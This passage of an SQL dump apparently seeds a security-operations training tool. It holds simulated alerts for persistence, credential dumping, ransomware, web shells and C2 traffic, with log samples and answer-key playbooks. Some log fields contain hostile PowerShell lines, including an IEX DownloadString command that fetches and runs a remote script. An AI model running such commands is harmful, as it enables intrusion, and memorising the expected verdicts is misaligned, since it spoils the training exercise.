Audit\",\"verdict\":\"internal\",\"details\":\"User with administrative privileges.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(359, 'Persistence Mechanism Established', 'high', 'Windows Event Logs', 'The malware modifies registry keys to ensure it runs on system startup, maintaining persistence even after reboots. The registry modification indicates a sophisticated attempt to establish persistence on the system.', 'Registry Modification', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 1, 'new', NULL, '{\"EventID\":4657,\"TimeCreated\":\"2023-10-25T14:35:22Z\",\"Computer\":\"victim-pc.localdomain\",\"UserID\":\"S-1-5-21-3456789012-3456789012-3456789012-1001\",\"UserName\":\"john.doe\",\"ProcessID\":4567,\"ProcessName\":\"C:\\\\Windows\\\\System32\\\\reg.exe\",\"RegistryKey\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\maliciousApp\",\"RegistryValue\":\"C:\\\\Users\\\\john.doe\\\\AppData\\\\Local\\\\Temp\\\\maliciousApp.exe -silent\",\"Hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"SourceIP\":\"192.168.1.105\",\"AttackerIP\":\"203.0.113.45\"}', '2026-01-03 00:50:36', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with the compromised system.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"IP address known for malicious activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"clean\",\"details\":\"User account on the compromised system.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(360, 'Credential Dumping Detected', 'high', 'SIEM Alerts', 'The attackers used Mimikatz to extract credentials from memory, enabling lateral movement across the network to escalate privileges.', 'Mimikatz', 'Credential Dumping', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:22:33Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.5.25\",\"user\":\"DOMAIN\\\\admin_user\",\"filename\":\"mimikatz.exe\",\"file_hash\":\"9e107d9d372bb6826bd81d3542a419d6\",\"process_id\":3216,\"event_type\":\"Credential Dumping\",\"message\":\"Suspicious process mimikatz.exe detected extracting credentials from memory.\"}', '2026-01-03 00:50:36', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_provider\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_logs\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"mimikatz.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_db\",\"verdict\":\"malicious\",\"details\":\"Mimikatz executable used for credential extraction.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"9e107d9d372bb6826bd81d3542a419d6\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"File hash associated with Mimikatz malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"DOMAIN\\\\admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"active_directory\",\"verdict\":\"internal\",\"details\":\"Privileged domain account used in the attack.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(361, 'Suspicious File Transfer', 'high', 'Network Traffic Analysis', 'Using SMB, the attackers transfer ransomware payloads to other critical systems within the network. This activity is indicative of lateral movement, preparing for a widespread encryption event.', 'SMB Traffic', 'T1021.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:10Z\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"192.168.1.105\",\"external_attacker_ip\":\"203.0.113.25\",\"protocol\":\"SMB\",\"file_transferred\":\"ransomware_payload.exe\",\"file_hash\":\"3b2e2c7d5f234f5c8a9b3a6261d4b7e2\",\"username\":\"compromised_user\",\"action\":\"file_transfer\",\"smb_command\":\"SMB2_WRITE\",\"destination_port\":\"445\"}', '2026-01-03 00:50:36', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the targeted host for lateral movement.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known attacker IP address associated with ransomware campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3b2e2c7d5f234f5c8a9b3a6261d4b7e2\",\"is_critical\":true,\"osint_result\":{\"source\":\"Virustotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known ransomware payload.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"ransomware_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"malicious\",\"details\":\"Filename used in the ransomware attack campaign.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Account observed in unauthorized file transfer activities.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(362, 'Data Encryption in Progress', 'critical', 'File Integrity Monitoring', 'The ransomware begins encrypting files on key servers, prompting the attackers to initiate contact with a ransom demand.', 'Ransomware Encryption', 'T1486', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:32Z\",\"event_id\":\"FIM-20231005-001\",\"event_type\":\"file_modification\",\"description\":\"Suspicious file encryption activity detected on server.\",\"affected_host\":\"192.168.1.10\",\"attacker_ip\":\"203.0.113.45\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"user\":\"admin_user\",\"filename_encrypted\":\"confidential_data.xlsx\",\"ransomware_name\":\"CryptoLockerSim\",\"process_name\":\"encryptor.exe\",\"process_id\":4567}', '2026-01-03 00:50:36', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal server targeted by ransomware.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"IP associated with known ransomware campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to CryptoLockerSim ransomware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_data.xlsx\",\"is_critical\":false,\"osint_result\":{\"source\":\"file_system\",\"verdict\":\"suspicious\",\"details\":\"File targeted by ransomware encryption.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Advanced', 'NULL', 1, 0, NULL),
(363, 'Ransom Note and Communication', 'critical', 'Incident Response Team', 'A ransom note has appeared on encrypted systems, instructing the company to contact the attackers for decryption keys. The note includes specific communication channels and requests for payment in cryptocurrency. The Incident Response Team is working to find a flaw in the encryption while simulating negotiations with the attackers.', 'Ransomware Note', 'T1486 - Data Encrypted for Impact', 1, 'new', NULL, '{\"timestamp\":\"2023-10-21T14:45:00Z\",\"event\":\"Ransomware Note Detected\",\"source_ip\":\"192.168.15.45\",\"destination_ip\":\"203.0.113.5\",\"ransom_note_filename\":\"READ_ME.txt\",\"ransom_note_content\":\"All your files have been encrypted. Contact us at attacker@example.com for decryption keys.\",\"attacker_email\":\"attacker@example.com\",\"malware_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"user\":\"j.doe\",\"severity\":\"Critical\",\"encryption_algorithm\":\"AES-256\",\"affected_systems\":[\"10.0.0.5\",\"10.0.0.10\"]}', '2026-01-03 00:50:36', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.15.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal logs\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised system.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP address associated with ransomware campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"attacker@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"email reputation service\",\"verdict\":\"malicious\",\"details\":\"Email address associated with ransom demands.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash database\",\"verdict\":\"malicious\",\"details\":\"Hash of the ransomware binary detected.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"READ_ME.txt\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal analysis\",\"verdict\":\"suspicious\",\"details\":\"Common filename for ransom notes.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Advanced', 'NULL', 1, 0, NULL),
(364, 'Suspicious Web Shell Detected on IIS Server', 'high', 'IIS Server Logs', 'A suspicious web shell was detected on a telecommunications provider\'s IIS server. The attacker exploited a web vulnerability to deploy a web shell, gaining initial access.', 'Initial Access', 'T1190', 1, 'new', NULL, '{\"timestamp\":\"2023-10-25T14:23:45Z\",\"server_ip\":\"192.168.1.50\",\"client_ip\":\"203.0.113.45\",\"http_method\":\"POST\",\"requested_url\":\"/uploads/shell.aspx\",\"response_code\":200,\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"session_id\":\"123456abcdef\",\"filename_uploaded\":\"shell.aspx\",\"md5_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"anonymous\"}', '2026-01-03 00:54:31', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Database\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous web shell attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"shell.aspx\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"malicious\",\"details\":\"File commonly used as a web shell for unauthorized access.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a web shell previously identified in attacks.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(365, 'Anomalous PowerShell Activity Observed', 'medium', 'PowerShell Logs', 'Unusual PowerShell commands were executed to download additional payloads. This behavior suggests an attempt to leverage legitimate tools for malicious purposes, commonly known as \'living off the land\'.', 'Execution', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_id\":4104,\"process_id\":1234,\"script_block_id\":\"abc123\",\"user\":\"jdoe\",\"host\":\"DESKTOP-7A89C4K\",\"ip_address\":\"10.0.0.17\",\"command\":\"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\"IEX (New-Object Net.WebClient).DownloadString(\'http://192.168.1.150/malicious.ps1\')\\\"\",\"external_ip\":\"203.0.113.45\",\"downloaded_file\":\"malicious.ps1\",\"file_hash\":\"9e107d9d372bb6826bd81d3542a419d6\"}', '2026-01-03 00:54:31', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.17\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the host executing the PowerShell command.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external_threat_intel\",\"verdict\":\"malicious\",\"details\":\"IP address known for hosting malicious content.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_repositories\",\"verdict\":\"malicious\",\"details\":\"Script associated with known malware.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"9e107d9d372bb6826bd81d3542a419d6\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash_database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known malicious payload.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Beginner', 'NULL', 1, 0, NULL),
(366, 'Creation of Hidden Scheduled Task', 'medium', 'Task Scheduler Logs', 'To ensure persistent access, Gallium APT creates a covert scheduled task, allowing them to execute scripts at regular intervals.', 'Persistence', 'T1053.005', 1, 'new', NULL, '{\"EventID\":106,\"Timestamp\":\"2023-10-15T14:22:43Z\",\"TaskName\":\"\\\\Microsoft\\\\Windows\\\\Update\\\\HiddenTask\",\"Action\":\"Create\",\"User\":\"COMPANY\\\\jdoe\",\"HostIP\":\"192.168.1.45\",\"AttackerIP\":\"203.0.113.54\",\"FilePath\":\"C:\\\\Windows\\\\System32\\\\hidden_task.ps1\",\"MD5Hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-01-03 00:54:31', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.54\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"IP address linked to Gallium APT\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a malicious script used by Gallium APT\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Beginner', 'NULL', 1, 0, NULL),
(367, 'Unauthorized Access to Network Map', 'medium', 'Network Traffic Analysis', 'The attackers initiated a network scan from an external IP address, attempting to map out the telecom infrastructure. This is part of a lateral movement strategy to identify high-value targets within the network.', 'Lateral Movement', 'T1046', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:23:45Z\",\"source_ip\":\"198.51.100.23\",\"destination_ip\":\"192.168.1.10\",\"protocol\":\"TCP\",\"destination_port\":80,\"action\":\"allowed\",\"username\":\"jdoe\",\"filename\":\"network_scan_tool.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"event\":\"Network Scan Detected\"}', '2026-01-03 00:54:31', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous APT activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Inventory\",\"verdict\":\"internal\",\"details\":\"Local network device\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"network_scan_tool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Tool\",\"verdict\":\"malicious\",\"details\":\"Executable used for unauthorized network scanning\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Hash Repository\",\"verdict\":\"suspicious\",\"details\":\"Hash found in several malware variants\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"clean\",\"details\":\"Valid user account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Beginner', 'NULL', 1, 0, NULL),
(368, 'Exfiltration of Call Detail Records Detected', 'high', 'Data Loss Prevention (DLP) Logs', 'The Gallium APT group has successfully exfiltrated Call Detail Records (CDR) from the compromised network, targeting high-value individuals. The operation was detected as sensitive files were transferred to an external IP address.', 'Exfiltration', 'T1020 - Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:25:43Z\",\"event_id\":\"DLP-EXFIL-005\",\"source_ip\":\"192.168.15.23\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"transferred_files\":[{\"filename\":\"target_CDR_records.zip\",\"file_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"size\":\"15MB\"}],\"user\":\"compromised_user\",\"action\":\"File Transfer\",\"status\":\"Success\"}', '2026-01-03 00:54:31', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.15.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address used by a compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"External Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Gallium APT activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with potentially malicious file transfer.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"target_CDR_records.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP\",\"verdict\":\"suspicious\",\"details\":\"Sensitive data file identified in exfiltration attempt.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"malicious\",\"details\":\"User account compromised and used in exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(369, 'Suspicious Macro-Enabled Document Detected', 'high', 'Email Gateway Logs', 'A potentially malicious macro-enabled document was detected in an email attachment. The document is designed to execute a payload upon enabling macros, indicating an attempt to gain initial access.', 'Initial Access', 'T1203: Exploitation for Client Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T11:25:34Z\",\"email_sender\":\"john.doe@maliciousdomain.com\",\"email_recipient\":\"employee1@company.com\",\"subject\":\"Important Update on Your Account\",\"attachment_name\":\"AccountUpdate.docm\",\"attachment_hash\":\"4a6f0f5d2b1e8f7d9e9a6c2f3b5e7d8f\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.15\",\"malware_family\":\"Emotet\",\"action_taken\":\"Quarantined\"}', '2026-01-03 23:52:02', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"john.doe@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"Known phishing domain associated with Emotet campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"AccountUpdate.docm\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"suspicious\",\"details\":\"Macro-enabled document potentially executing malicious code.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"4a6f0f5d2b1e8f7d9e9a6c2f3b5e7d8f\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Emotet malware.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address linked to known phishing and malware distribution.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(370, 'Macro Execution Triggers Malicious Script', 'high', 'Endpoint Detection and Response (EDR)', 'Once the macros are enabled, a hidden script is executed, initiating the deployment of the POWERSTATS backdoor.', 'Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:22:45Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.45\",\"username\":\"jdoe\",\"process_name\":\"winword.exe\",\"file_name\":\"malicious_macro.docm\",\"script_executed\":\"powershell.exe -nop -w hidden -enc d2hvYW1p\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"description\":\"Macro in document executed, launching PowerShell script for POWERSTATS backdoor.\"}', '2026-01-03 23:52:02', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple malware campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal endpoint targeted by malicious activity.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious_macro.docm\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Document contains macro that executes malicious script.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with the POWERSTATS malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(371, 'POWERSTATS Backdoor Installed', 'high', 'Registry Change Logs', 'The POWERSTATS backdoor has been installed on the system. It modifies registry settings to ensure continued operation across reboots, establishing persistence.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-17T14:32:45Z\",\"event_id\":4657,\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"value_name\":\"PowerStatsService\",\"value_type\":\"REG_SZ\",\"value_data\":\"C:\\\\Windows\\\\System32\\\\pstats.exe\",\"user\":\"SYSTEM\",\"user_sid\":\"S-1-5-18\",\"process_id\":1234,\"process_name\":\"regedit.exe\",\"source_ip\":\"185.199.108.153\",\"hash\":\"3cda3f53e5f4b3c6b9f02e5a1b5a6d8f\",\"internal_ip\":\"192.168.1.45\"}', '2026-01-03 23:52:02', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.199.108.153\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server for POWERSTATS\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3cda3f53e5f4b3c6b9f02e5a1b5a6d8f\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Identified as POWERSTATS backdoor\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"regedit.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"malicious\",\"details\":\"Associated with persistence mechanism\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Logs\",\"verdict\":\"internal\",\"details\":\"Internal host communicating with C2\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(372, 'Encrypted Communication with C2 Server Detected', 'high', 'Network Traffic Analysis', 'The infected system at 192.168.10.5 has begun encrypted communication with a known C2 server at 203.0.113.45 using HTTPS over non-standard ports. This behavior is consistent with advanced tactics to maintain hidden communication channels.', 'Command and Control', 'T1071.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:35:20Z\",\"src_ip\":\"192.168.10.5\",\"dst_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"src_port\":50505,\"dst_port\":8443,\"encrypted\":true,\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"url\":\"https://203.0.113.45/command\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"payload.bin\",\"username\":\"infected_user\"}', '2026-01-03 23:52:02', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal network 